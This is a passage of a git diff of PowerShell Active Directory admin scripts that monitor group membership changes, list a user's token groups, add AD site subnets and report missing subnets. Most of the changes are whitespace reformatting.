$infoChangeHistory = $infoChangeHistory + $Output + }#FOREACH $obj in Import-csv $file + }#FOREACH $file in $ChangeHistoryFiles + Write-Verbose -Message "[PROCESS] $item - Change history process completed" + }#IF($ChangeHistoryFiles) + + # CHANGE(S) EXPORT TO CSV + Write-Verbose -Message "[PROCESS] $item - Save changes to a ChangesHistory file" + + IF (-not (Test-Path -path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($DomainName)_$($RealGroupName)-ChangeHistory.csv"))) + { + $Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($DomainName)_$($RealGroupName)-ChangeHistory.csv") -NoTypeInformation + } + ELSE + { + #$Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$DomainName_$RealGroupName-ChangeHistory-$DateFormat.csv") -NoTypeInformation + $Changes | Export-Csv -Path (Join-Path -Path $ScriptPathChangeHistory -ChildPath "$($DomainName)_$($RealGroupName)-ChangeHistory.csv") -NoTypeInformation -Append + } + + + # EMAIL + Write-Verbose -Message "[PROCESS] $item - Preparing the notification email..." + + $EmailSubject = "PS MONITORING - $($GroupName.SamAccountName) Membership Change" + + # Preparing the body of the Email + $body = "

Group: $($GroupName.SamAccountName)

" + $body += "

" + $body += "Group Description: $($GroupName.Description)
" + $body += "Group DistinguishedName: $($GroupName.DistinguishedName)
" + $body += "Group CanonicalName: $($GroupName.CanonicalName)
" + $body += "Group SID: $($GroupName.Sid.value)
" + $body += "Group Scope/Type: $($GroupName.GroupScope) / $($GroupName.GroupType)
" + $body += "

" + + $body += "

Membership Change" + $body += "

" + $body += "The membership of this group changed. See the following Added or Removed members." + + # Removing the old DisplayName Property + $Changes = $changes | Select-Object -Property DateTime, State,Name, SamAccountName, DN + + $body += $changes | ConvertTo-Html -head $head | Out-String + $body += "


" + IF ($ChangesHistoryFiles) + { + # Removing the old DisplayName Property + $infoChangeHistory = $infoChangeHistory | Select-Object -Property DateTime, State, Name, SamAccountName, DN + + $body += "

Change History

" + $body += "List of the previous changes on this group observed by the script" + $body += $infoChangeHistory | Sort-Object -Property DateTime -Descending | ConvertTo-Html -Fragment -PreContent $Head2 | Out-String + } + $body = $body -replace "Added", "Added" + $body = $body -replace "Removed", "Removed" + $body += $Report + + # Preparing the Email properties + $SmtpClient = New-Object -TypeName system.net.mail.smtpClient + $SmtpClient.host = $EmailServer + $MailMessage = New-Object -TypeName system.net.mail.mailmessage + #$MailMessage.from = $EmailFrom.Address + $MailMessage.from = $EmailFrom + #FOREACH ($To in $Emailto){$MailMessage.To.add($($To.Address))} + FOREACH ($To in $Emailto) { $MailMessage.To.add($($To)) } + $MailMessage.IsBodyHtml = 1 + $MailMessage.Subject = $EmailSubject + $MailMessage.Body = $Body + + # Encoding + $MailMessage.BodyEncoding = [System.Text.Encoding]::$EmailEncoding + $MailMessage.SubjectEncoding = [System.Text.Encoding]::$EmailEncoding + + + # Sending the Email + $SmtpClient.Send($MailMessage) + Write-Verbose -Message "[PROCESS] $item - Email Sent." + + + # GroupName Membership export to CSV + Write-Verbose -Message "[PROCESS] $item - Exporting the current membership to $StateFile" + $Members | Export-csv -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile) -NoTypeInformation -Encoding Unicode + + # Export HTML File + IF ($PSBoundParameters['HTMLLog']) + { + # Create HTML Directory if it does not exist + $ScriptPathHTML = $ScriptPath + "\HTML" + IF (!(Test-Path -Path $ScriptPathHTML)) + { + Write-Verbose -Message "[PROCESS] Creating the HTML Folder : $ScriptPathHTML" + New-Item -Path $ScriptPathHTML -ItemType Directory | Out-Null + } + + # Define HTML File Name + $HTMLFileName = "$($DomainName)_$($RealGroupName)-$(Get-Date -Format 'yyyyMMdd_HHmmss').html" + + # Save HTML File + $Body | Out-File -FilePath (Join-Path -Path $ScriptPathHTML -ChildPath $HTMLFileName) + } + + + }#IF $Change + ELSE { Write-Verbose -Message "[PROCESS] $item - No Change" } + + }#IF ($GroupName) + ELSE + { + Write-Verbose -message "[PROCESS] $item - Group can't be found" + #IF (Get-ChildItem (Join-Path $ScriptPathOutput "*$item*-membership.csv" -ErrorAction Continue) -or (Get-ChildItem (Join-Path $ScriptPathChangeHistory "*$item*.csv" -ErrorAction Continue))) + #{ + # Write-Warning "$item - Looks like a file contains the name of this group, this group was possibly deleted from Active Directory" + #} + + }#ELSE $GroupName + }#TRY + CATCH + { + Write-Warning -Message "[PROCESS] Something went wrong" + #Write-Warning -Message $_.Exception.Message Write-Warning -Message $Error[0] - - #Quest Snappin Errors - if ($ErrorProcessGetQADGroup) { Write-warning -Message "[PROCESS] QUEST AD - Error When querying the group $item in Active Directory" } - if ($ErrorProcessGetQADGroupMember) { Write-warning -Message "[PROCESS] QUEST AD - Error When querying the group $item members in Active Directory" } - - #ActiveDirectory Module Errors - if ($ErrorProcessGetADGroup) { Write-warning -Message "[PROCESS] AD MODULE - Error When querying the group $item in Active Directory" } - if ($ErrorProcessGetADGroupMember) { Write-warning -Message "[PROCESS] AD MODULE - Error When querying the group $item members in Active Directory" } - - # Import CSV Errors - if ($ErrorProcessImportCSV) { Write-warning -Message "[PROCESS] Error Importing $StateFile" } - if ($ErrorProcessCompareObject) { Write-warning -Message "[PROCESS] Error when comparing" } - if ($ErrorProcessImportCSVChangeHistory) { Write-warning -Message "[PROCESS] Error Importing $file" } - - Write-Warning -Message $error[0].exception.Message - }#CATCH - }#FOREACH - }#TRY - CATCH - { - Write-Warning -Message "[PROCESS] Something wrong happened" - #Write-Warning -Message $error[0].exception.message + + #Quest Snappin Errors + if ($ErrorProcessGetQADGroup) { Write-warning -Message "[PROCESS] QUEST AD - Error When querying the group $item in Active Directory" } + if ($ErrorProcessGetQADGroupMember) { Write-warning -Message "[PROCESS] QUEST AD - Error When querying the group $item members in Active Directory" } + + #ActiveDirectory Module Errors + if ($ErrorProcessGetADGroup) { Write-warning -Message "[PROCESS] AD MODULE - Error When querying the group $item in Active Directory" } + if ($ErrorProcessGetADGroupMember) { Write-warning -Message "[PROCESS] AD MODULE - Error When querying the group $item members in Active Directory" } + + # Import CSV Errors + if ($ErrorProcessImportCSV) { Write-warning -Message "[PROCESS] Error Importing $StateFile" } + if ($ErrorProcessCompareObject) { Write-warning -Message "[PROCESS] Error when comparing" } + if ($ErrorProcessImportCSVChangeHistory) { Write-warning -Message "[PROCESS] Error Importing $file" } + + Write-Warning -Message $error[0].exception.Message + }#CATCH + }#FOREACH + }#TRY + CATCH + { + Write-Warning -Message "[PROCESS] Something wrong happened" + #Write-Warning -Message $error[0].exception.message Write-Warning -Message $error[0] - } - + } + }#PROCESS END { - Write-Verbose -message "[END] Script Completed" + Write-Verbose -message "[END] Script Completed" } diff --git a/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 b/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 index 812992d6..c6f12ed3 100644 --- a/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 +++ b/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 @@ -1,25 +1,25 @@ function Get-ADSITokenGroup { - <# - .SYNOPSIS - Retrieve the list of group present in the tokengroups of a user or computer object. - - .DESCRIPTION - Retrieve the list of group present in the tokengroups of a user or computer object. - TokenGroups attribute - https://msdn.microsoft.com/en-us/library/ms680275%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 - - .PARAMETER SamAccountName - Specifies the SamAccountName to retrieve - - .PARAMETER Credential - Specifies Credential to use - - .PARAMETER DomainDistinguishedName - Specify the Domain or Domain DN path to use - - .PARAMETER SizeLimit - Specify the number of item maximum to retrieve + <# + .SYNOPSIS + Retrieve the list of group present in the tokengroups of a user or computer object. + + .DESCRIPTION + Retrieve the list of group present in the tokengroups of a user or computer object. + TokenGroups attribute + https://msdn.microsoft.com/en-us/library/ms680275%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 + + .PARAMETER SamAccountName + Specifies the SamAccountName to retrieve + + .PARAMETER Credential + Specifies Credential to use + + .PARAMETER DomainDistinguishedName + Specify the Domain or Domain DN path to use + + .PARAMETER SizeLimit + Specify the number of item maximum to retrieve .EXAMPLE Get-ADSITokenGroup -SamAccountName TestUser @@ -31,95 +31,95 @@ lazywinadmin\MTL_GroupC 2 TestUser lazywinadmin\MTL_GroupD 2 TestUser lazywinadmin\MTL-GroupE 1 TestUser - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - #> - [CmdletBinding()] - param - ( - [Parameter(ValueFromPipeline = $true)] - [Alias('UserName', 'Identity')] - [String]$SamAccountName, - - [Alias('RunAs')] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty, - - [Alias('DomainDN', 'Domain')] - [String]$DomainDistinguishedName = $(([adsisearcher]"").Searchroot.path), - - [Alias('ResultLimit', 'Limit')] - [int]$SizeLimit = '100' - ) - BEGIN - { - $GroupList = "" - } - PROCESS - { - TRY - { - # Building the basic search object with some parameters - $Search = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ErrorAction 'Stop' - $Search.SizeLimit = $SizeLimit - $Search.SearchRoot = $DomainDN - #$Search.Filter = "(&(anr=$SamAccountName))" - $Search.Filter = "(&((objectclass=user)(samaccountname=$SamAccountName)))" - - # Credential - IF ($PSBoundParameters['Credential']) - { - $Cred = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList $DomainDistinguishedName, $($Credential.UserName), $($Credential.GetNetworkCredential().password) - $Search.SearchRoot = $Cred - } - - # Different Domain - IF ($DomainDistinguishedName) - { - IF ($DomainDistinguishedName -notlike "LDAP://*") { $DomainDistinguishedName = "LDAP://$DomainDistinguishedName" }#IF - Write-Verbose -Message "[PROCESS] Different Domain specified: $DomainDistinguishedName" - $Search.SearchRoot = $DomainDistinguishedName - } - - $Search.FindAll() | ForEach-Object -Process { - $Account = $_ - $AccountGetDirectory = $Account.GetDirectoryEntry(); - - # Add the properties tokenGroups - $AccountGetDirectory.GetInfoEx(@("tokenGroups"), 0) - - - $($AccountGetDirectory.Get("tokenGroups")) | - ForEach-Object -Process { - # Create SecurityIdentifier to translate into group name - $Principal = New-Object System.Security.Principal.SecurityIdentifier($_, 0) - - # Prepare Output - $Properties = @{ - SamAccountName = $Account.properties.samaccountname -as [string] - GroupName = $principal.Translate([System.Security.Principal.NTAccount]) - } - - # Output Information - New-Object -TypeName PSObject -Property $Properties - } - } | Group-Object -Property groupname | - ForEach-Object { - New-Object -TypeName PSObject -Property @{ - SamAccountName = $_.group.samaccountname | Select-Object -Unique - GroupName = $_.Name - Count = $_.Count - }#new-object - }#Foreach - }#TRY - CATCH - { - Write-Warning -Message "[PROCESS] Something wrong happened!" - Write-Warning -Message $error[0].Exception.Message - } - }#PROCESS - END { Write-Verbose -Message "[END] Function Get-ADSITokenGroup End." } + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + #> + [CmdletBinding()] + param + ( + [Parameter(ValueFromPipeline = $true)] + [Alias('UserName', 'Identity')] + [String]$SamAccountName, + + [Alias('RunAs')] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [Alias('DomainDN', 'Domain')] + [String]$DomainDistinguishedName = $(([adsisearcher]"").Searchroot.path), + + [Alias('ResultLimit', 'Limit')] + [int]$SizeLimit = '100' + ) + BEGIN + { + $GroupList = "" + } + PROCESS + { + TRY + { + # Building the basic search object with some parameters + $Search = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ErrorAction 'Stop' + $Search.SizeLimit = $SizeLimit + $Search.SearchRoot = $DomainDN + #$Search.Filter = "(&(anr=$SamAccountName))" + $Search.Filter = "(&((objectclass=user)(samaccountname=$SamAccountName)))" + + # Credential + IF ($PSBoundParameters['Credential']) + { + $Cred = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList $DomainDistinguishedName, $($Credential.UserName), $($Credential.GetNetworkCredential().password) + $Search.SearchRoot = $Cred + } + + # Different Domain + IF ($DomainDistinguishedName) + { + IF ($DomainDistinguishedName -notlike "LDAP://*") { $DomainDistinguishedName = "LDAP://$DomainDistinguishedName" }#IF + Write-Verbose -Message "[PROCESS] Different Domain specified: $DomainDistinguishedName" + $Search.SearchRoot = $DomainDistinguishedName + } + + $Search.FindAll() | ForEach-Object -Process { + $Account = $_ + $AccountGetDirectory = $Account.GetDirectoryEntry(); + + # Add the properties tokenGroups + $AccountGetDirectory.GetInfoEx(@("tokenGroups"), 0) + + + $($AccountGetDirectory.Get("tokenGroups")) | + ForEach-Object -Process { + # Create SecurityIdentifier to translate into group name + $Principal = New-Object System.Security.Principal.SecurityIdentifier($_, 0) + + # Prepare Output + $Properties = @{ + SamAccountName = $Account.properties.samaccountname -as [string] + GroupName = $principal.Translate([System.Security.Principal.NTAccount]) + } + + # Output Information + New-Object -TypeName PSObject -Property $Properties + } + } | Group-Object -Property groupname | + ForEach-Object { + New-Object -TypeName PSObject -Property @{ + SamAccountName = $_.group.samaccountname | Select-Object -Unique + GroupName = $_.Name + Count = $_.Count + }#new-object + }#Foreach + }#TRY + CATCH + { + Write-Warning -Message "[PROCESS] Something wrong happened!" + Write-Warning -Message $error[0].Exception.Message + } + }#PROCESS + END { Write-Verbose -Message "[END] Function Get-ADSITokenGroup End." } }#Function \ No newline at end of file diff --git a/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 b/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 index 3a9d84d7..da016c22 100644 --- a/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 +++ b/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 @@ -1,111 +1,111 @@ Function Add-ADSubnet{ <# - .SYNOPSIS - This function allow you to add a subnet object in your active directory using ADSI - - .DESCRIPTION - This function allow you to add a subnet object in your active directory using ADSI - - .PARAMETER Subnet - Specifies the Name of the subnet to add - - .PARAMETER SiteName - Specifies the Name of the Site where the subnet will be created - - .PARAMETER Description - Specifies the Description of the subnet - - .PARAMETER Location - Specifies the Location of the subnet - - .EXAMPLE - Add-ADSubnet -Subnet "192.168.10.0/24" -SiteName MTL1 - - This will create the subnet "192.168.10.0/24" and assign it to the site "MTL1". - - .EXAMPLE - Add-ADSubnet -Subnet "192.168.10.0/24" -SiteName MTL1 -Description "Workstations VLAN 110" -Location "Montreal, Canada" -verbose - - This will create the subnet "192.168.10.0/24" and assign it to the site "MTL1" with the description "Workstations VLAN 110" and the location "Montreal, Canada" - Using the parameter -Verbose, the script will show the progression of the subnet creation. - - - .NOTES - NAME: FUNCT-AD-SITE-Add-ADSubnet_using_ADSI.ps1 - AUTHOR: Francois-Xavier CAT - DATE: 2013/11/07 - EMAIL: info@lazywinadmin.com - WWW: www.lazywinadmin.com - TWITTER:@lazywinadm - - http://www.lazywinadmin.com/2013/11/powershell-add-ad-site-subnet.html - - VERSION HISTORY: - 1.0 2013.11.07 - Initial Version + .SYNOPSIS + This function allow you to add a subnet object in your active directory using ADSI + + .DESCRIPTION + This function allow you to add a subnet object in your active directory using ADSI + + .PARAMETER Subnet + Specifies the Name of the subnet to add + + .PARAMETER SiteName + Specifies the Name of the Site where the subnet will be created + + .PARAMETER Description + Specifies the Description of the subnet + + .PARAMETER Location + Specifies the Location of the subnet + + .EXAMPLE + Add-ADSubnet -Subnet "192.168.10.0/24" -SiteName MTL1 + + This will create the subnet "192.168.10.0/24" and assign it to the site "MTL1". + + .EXAMPLE + Add-ADSubnet -Subnet "192.168.10.0/24" -SiteName MTL1 -Description "Workstations VLAN 110" -Location "Montreal, Canada" -verbose + + This will create the subnet "192.168.10.0/24" and assign it to the site "MTL1" with the description "Workstations VLAN 110" and the location "Montreal, Canada" + Using the parameter -Verbose, the script will show the progression of the subnet creation. + + + .NOTES + NAME: FUNCT-AD-SITE-Add-ADSubnet_using_ADSI.ps1 + AUTHOR: Francois-Xavier CAT + DATE: 2013/11/07 + EMAIL: info@lazywinadmin.com + WWW: www.lazywinadmin.com + TWITTER:@lazywinadm + + http://www.lazywinadmin.com/2013/11/powershell-add-ad-site-subnet.html + + VERSION HISTORY: + 1.0 2013.11.07 + Initial Version #> - [CmdletBinding()] - PARAM( - [Parameter( - Mandatory=$true, - Position=1, - ValueFromPipeline=$true, - ValueFromPipelineByPropertyName=$true, - HelpMessage="Subnet name to create")] - [Alias("Name")] - [String]$Subnet, - [Parameter( - Mandatory=$true, - Position=2, - ValueFromPipelineByPropertyName=$true, - HelpMessage="Site to which the subnet will be applied")] - [Alias("Site")] - [String]$SiteName, - [Parameter( - ValueFromPipelineByPropertyName=$true, - HelpMessage="Description of the Subnet")] - [String]$Description, - [Parameter( - ValueFromPipelineByPropertyName=$true, - HelpMessage="Location of the Subnet")] - [String]$location - ) - PROCESS{ - TRY{ - $ErrorActionPreference = 'Stop' - - # Distinguished Name of the Configuration Partition - $Configuration = ([ADSI]"LDAP://RootDSE").configurationNamingContext - - # Get the Subnet Container - $SubnetsContainer = [ADSI]"LDAP://CN=Subnets,CN=Sites,$Configuration" - - # Create the Subnet object - Write-Verbose -Message "$subnet - Creating the subnet object..." - $SubnetObject = $SubnetsContainer.Create('subnet', "cn=$Subnet") - - # Assign the subnet to a site - $SubnetObject.put("siteObject","cn=$SiteName,CN=Sites,$Configuration") - - # Adding the Description information if specified by the user - IF ($PSBoundParameters['Description']){ - $SubnetObject.Put("description",$Description) - } - - # Adding the Location information if specified by the user - IF ($PSBoundParameters['Location']){ - $SubnetObject.Put("location",$Location) - } - $SubnetObject.setinfo() - Write-Verbose -Message "$subnet - Subnet added." - }#TRY - CATCH{ - Write-Warning -Message "An error happened while creating the subnet: $subnet" - $error[0].Exception - }#CATCH - }#PROCESS Block - END{ - Write-Verbose -Message "Script Completed" - }#END Block + [CmdletBinding()] + PARAM( + [Parameter( + Mandatory=$true, + Position=1, + ValueFromPipeline=$true, + ValueFromPipelineByPropertyName=$true, + HelpMessage="Subnet name to create")] + [Alias("Name")] + [String]$Subnet, + [Parameter( + Mandatory=$true, + Position=2, + ValueFromPipelineByPropertyName=$true, + HelpMessage="Site to which the subnet will be applied")] + [Alias("Site")] + [String]$SiteName, + [Parameter( + ValueFromPipelineByPropertyName=$true, + HelpMessage="Description of the Subnet")] + [String]$Description, + [Parameter( + ValueFromPipelineByPropertyName=$true, + HelpMessage="Location of the Subnet")] + [String]$location + ) + PROCESS{ + TRY{ + $ErrorActionPreference = 'Stop' + + # Distinguished Name of the Configuration Partition + $Configuration = ([ADSI]"LDAP://RootDSE").configurationNamingContext + + # Get the Subnet Container + $SubnetsContainer = [ADSI]"LDAP://CN=Subnets,CN=Sites,$Configuration" + + # Create the Subnet object + Write-Verbose -Message "$subnet - Creating the subnet object..." + $SubnetObject = $SubnetsContainer.Create('subnet', "cn=$Subnet") + + # Assign the subnet to a site + $SubnetObject.put("siteObject","cn=$SiteName,CN=Sites,$Configuration") + + # Adding the Description information if specified by the user + IF ($PSBoundParameters['Description']){ + $SubnetObject.Put("description",$Description) + } + + # Adding the Location information if specified by the user + IF ($PSBoundParameters['Location']){ + $SubnetObject.Put("location",$Location) + } + $SubnetObject.setinfo() + Write-Verbose -Message "$subnet - Subnet added." + }#TRY + CATCH{ + Write-Warning -Message "An error happened while creating the subnet: $subnet" + $error[0].Exception + }#CATCH + }#PROCESS Block + END{ + Write-Verbose -Message "Script Completed" + }#END Block }#Function Add-ADSubnet \ No newline at end of file diff --git a/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 b/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 index bf84a38c..0daa5e5a 100644 --- a/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 +++ b/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 @@ -1,410 +1,410 @@ <# - .SYNOPSIS - This script goal is to get all the missing subnets from the - NETLOGON.LOG file from each Domain Controllers in the Active Directory. - It will copy all the NETLOGON.LOG locally and parse them. - - .DESCRIPTION - This script goal is to get all the missing subnets from the - NETLOGON.LOG file from each Domain Controllers in the Active Directory. - It will copy all the NETLOGON.LOG locally and parse them. - - .PARAMETER EmailServer - Specifies the Email Server IPAddress/FQDN - .PARAMETER EmailTo - Specifies the Email Address(es) of the Destination - .PARAMETER EmailFrom - Specifies the Email Address of the Sender - .PARAMETER EmailSubject - Specifies the Email Subject - .PARAMETER LogsLines - Specifies the number of Lines to check in the NETLOGON.LOG files - Default is '-200'. - This number is negative, so the script check the last x lines (newest entry). - If you put a positive number it will check the first lines (oldest entry). - - .EXAMPLE - ./TOOL-AD-SITE-Report_Missing_Subnets.ps1 -Verbose -EmailServer mail.fx.local -EmailTo "Contact1@fx.local","Contact2@fx.local" -EmailFrom ADREPORT@fx.local -EmailSubject "Report - AD - Missing Subnets" - - This example will query all the Domain Controllers in the Active Directory and get the last 200 lines (Default) of each NETLOGON.log files. It will then send an email report to Contact1@fx.local and Contact2@fx.local. - - .NOTES - NAME: TOOL-AD-SITE-Report_Missing_Subnets.ps1 - AUTHOR: Francois-Xavier CAT - DATE: 2011/10/11 - EMAIL: info@lazywinadmin.com - - REQUIREMENTS: - -A Task scheduler to execute the script every x weeks - -Permission to Read \\DC\admin$, a basic account without specific rights will do it - -Permission to write locally in the Output folder ($ScriptPath\Output) - - VERSION HISTORY: - 1.0 2011.10.11 - Initial Version. - 1.1 2011.11.12 - FIX System.OutOfMemoryException Error when too many logs to process - Now the script will copy the file locally. - 1.2 2012.09.22 - UPDATE Code to report via CSV/Email - 1.3 2013.10.14 - UPDATE the syntax of the script - 1.4 2013.10.20 - ADD ValidatePattern on Email parameters, instead of [mailaddress] which is only supported on PS v3 + .SYNOPSIS + This script goal is to get all the missing subnets from the + NETLOGON.LOG file from each Domain Controllers in the Active Directory. + It will copy all the NETLOGON.LOG locally and parse them. + + .DESCRIPTION + This script goal is to get all the missing subnets from the + NETLOGON.LOG file from each Domain Controllers in the Active Directory. + It will copy all the NETLOGON.LOG locally and parse them. + + .PARAMETER EmailServer + Specifies the Email Server IPAddress/FQDN + .PARAMETER EmailTo + Specifies the Email Address(es) of the Destination + .PARAMETER EmailFrom + Specifies the Email Address of the Sender + .PARAMETER EmailSubject + Specifies the Email Subject + .PARAMETER LogsLines + Specifies the number of Lines to check in the NETLOGON.LOG files + Default is '-200'. + This number is negative, so the script check the last x lines (newest entry). + If you put a positive number it will check the first lines (oldest entry). + + .EXAMPLE + ./TOOL-AD-SITE-Report_Missing_Subnets.ps1 -Verbose -EmailServer mail.fx.local -EmailTo "Contact1@fx.local","Contact2@fx.local" -EmailFrom ADREPORT@fx.local -EmailSubject "Report - AD - Missing Subnets" + + This example will query all the Domain Controllers in the Active Directory and get the last 200 lines (Default) of each NETLOGON.log files. It will then send an email report to Contact1@fx.local and Contact2@fx.local. + + .NOTES + NAME: TOOL-AD-SITE-Report_Missing_Subnets.ps1 + AUTHOR: Francois-Xavier CAT + DATE: 2011/10/11 + EMAIL: info@lazywinadmin.com + + REQUIREMENTS: + -A Task scheduler to execute the script every x weeks + -Permission to Read \\DC\admin$, a basic account without specific rights will do it + -Permission to write locally in the Output folder ($ScriptPath\Output) + + VERSION HISTORY: + 1.0 2011.10.11 + Initial Version. + 1.1 2011.11.12 + FIX System.OutOfMemoryException Error when too many logs to process + Now the script will copy the file locally. + 1.2 2012.09.22 + UPDATE Code to report via CSV/Email + 1.3 2013.10.14 + UPDATE the syntax of the script + 1.4 2013.10.20 + ADD ValidatePattern on Email parameters, instead of [mailaddress] which is only supported on PS v3 1.4.1 2014.02.24 FIX issue with sending the email - 1.5.0 2015.03.12 - ADD Search all domains in the forest - ADD NETLOGON file version detection (from 2012, NETLOGON contains a colomn for ErrorCode) - ADD some Verbose/Warning message - ADD Support for SMTP Port (Parameter EmailSMTPPort), default is 25 - UPDATE Logic of the script (now append csv for each DC, and process the CSV files and Build html at the end of the PROCESS block) - UPDATE Html report to show forest and domain information - ADD KeepLogs Switch Parameter - REMOVE the ExportCSV part, it is saved by default - ADD HTMLReportPath Parameter, Just need to specify the folder. default file name will be: $ForestName-DateFormat-Report.html - ADD Table CSS + 1.5.0 2015.03.12 + ADD Search all domains in the forest + ADD NETLOGON file version detection (from 2012, NETLOGON contains a colomn for ErrorCode) + ADD some Verbose/Warning message + ADD Support for SMTP Port (Parameter EmailSMTPPort), default is 25 + UPDATE Logic of the script (now append csv for each DC, and process the CSV files and Build html at the end of the PROCESS block) + UPDATE Html report to show forest and domain information + ADD KeepLogs Switch Parameter + REMOVE the ExportCSV part, it is saved by default + ADD HTMLReportPath Parameter, Just need to specify the folder. default file name will be: $ForestName-DateFormat-Report.html + ADD Table CSS #> #requires -version 2.0 [CmdletBinding()] PARAM ( - [Parameter(Mandatory = $true, HelpMessage = "You must specify the Sender Email Address")] - [ValidatePattern("[a-z0-9!#\$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")] - [String]$EmailFrom, - - [Parameter(Mandatory = $true, HelpMessage = "You must specify the Destination Email Address")] - [ValidatePattern("[a-z0-9!#\$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")] - [String[]]$EmailTo, - - [Parameter(Mandatory = $true, HelpMessage = "You must specify the Email Server to use (IPAddress or FQDN)")] - [String]$EmailServer, - - [ValidateRange(0,65535)] - [int]$EmailServerPort = 25, - - [String]$EmailSubject = "Report - Active Directory - SITE - Missing Subnets", - - [Int]$LogsLines = "-200", - - [Switch]$KeepLogs, - - [ValidateScript({ Test-Path -Path $_})] - [String]$HTMLReportPath + [Parameter(Mandatory = $true, HelpMessage = "You must specify the Sender Email Address")] + [ValidatePattern("[a-z0-9!#\$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")] + [String]$EmailFrom, + + [Parameter(Mandatory = $true, HelpMessage = "You must specify the Destination Email Address")] + [ValidatePattern("[a-z0-9!#\$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")] + [String[]]$EmailTo, + + [Parameter(Mandatory = $true, HelpMessage = "You must specify the Email Server to use (IPAddress or FQDN)")] + [String]$EmailServer, + + [ValidateRange(0,65535)] + [int]$EmailServerPort = 25, + + [String]$EmailSubject = "Report - Active Directory - SITE - Missing Subnets", + + [Int]$LogsLines = "-200", + + [Switch]$KeepLogs, + + [ValidateScript({ Test-Path -Path $_})] + [String]$HTMLReportPath ) BEGIN { - TRY - { - # PATH Information - $ScriptPath = (Split-Path -Path ((Get-Variable -Name MyInvocation).Value).MyCommand.Path) - $ScriptPathOutput = $ScriptPath + "\Output" - IF (-not (Test-Path -Path $ScriptPathOutput)) - { - Write-Verbose -Message "[BEGIN] Creating the Output Folder : $ScriptPathOutput" - New-Item -Path $ScriptPathOutput -ItemType Directory -ErrorAction 'Stop' | Out-Null - } - - # Date and Time Information - $DateFormat = Get-Date -Format "yyyyMMdd_HHmmss" - $ReportDateFormat = Get-Date -Format "yyyy\MM\dd HH:mm:ss" - - # HTML Report settings - $ReportTitle = "

" + - "Report - Active Directory - SITE - Missing Subnets" + - "

" - # HTML Report settings - $Report = "

" + - "Report Time: $DateFormat
" + - "Account: $env:userdomain\$($env:username.toupper()) on $($env:ComputerName.toUpper())" + - "

" - - $Head = ""+ - - '' - - $Head2 = "" - - $TableCSS = @" + TRY + { + # PATH Information + $ScriptPath = (Split-Path -Path ((Get-Variable -Name MyInvocation).Value).MyCommand.Path) + $ScriptPathOutput = $ScriptPath + "\Output" + IF (-not (Test-Path -Path $ScriptPathOutput)) + { + Write-Verbose -Message "[BEGIN] Creating the Output Folder : $ScriptPathOutput" + New-Item -Path $ScriptPathOutput -ItemType Directory -ErrorAction 'Stop' | Out-Null + } + + # Date and Time Information + $DateFormat = Get-Date -Format "yyyyMMdd_HHmmss" + $ReportDateFormat = Get-Date -Format "yyyy\MM\dd HH:mm:ss" + + # HTML Report settings + $ReportTitle = "

" + + "Report - Active Directory - SITE - Missing Subnets" + + "

" + # HTML Report settings + $Report = "

" + + "Report Time: $DateFormat
" + + "Account: $env:userdomain\$($env:username.toupper()) on $($env:ComputerName.toUpper())" + + "

" + + $Head = ""+ + + '' + + $Head2 = "" + + $TableCSS = @" "@ - - $PostContent = "

Generated from: $($env:COMPUTERNAME.ToUpper()) on $(Get-Date -Format "yyyy/MM/dd HH:mm:ss")
" - - # Get the Current Forest Information - $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() - $ForestName = $Forest.Name.ToUpper() - Write-Verbose -Message "[BEGIN] Forest: $ForestName" - - - }#TRY - CATCH - { - Write-Warning -Message "BEGIN BLOCK - Something went wrong" - Write-Warning -Message $Error[0].Exception.Message - }#CATCH + + $PostContent = "

Generated from: $($env:COMPUTERNAME.ToUpper()) on $(Get-Date -Format "yyyy/MM/dd HH:mm:ss")
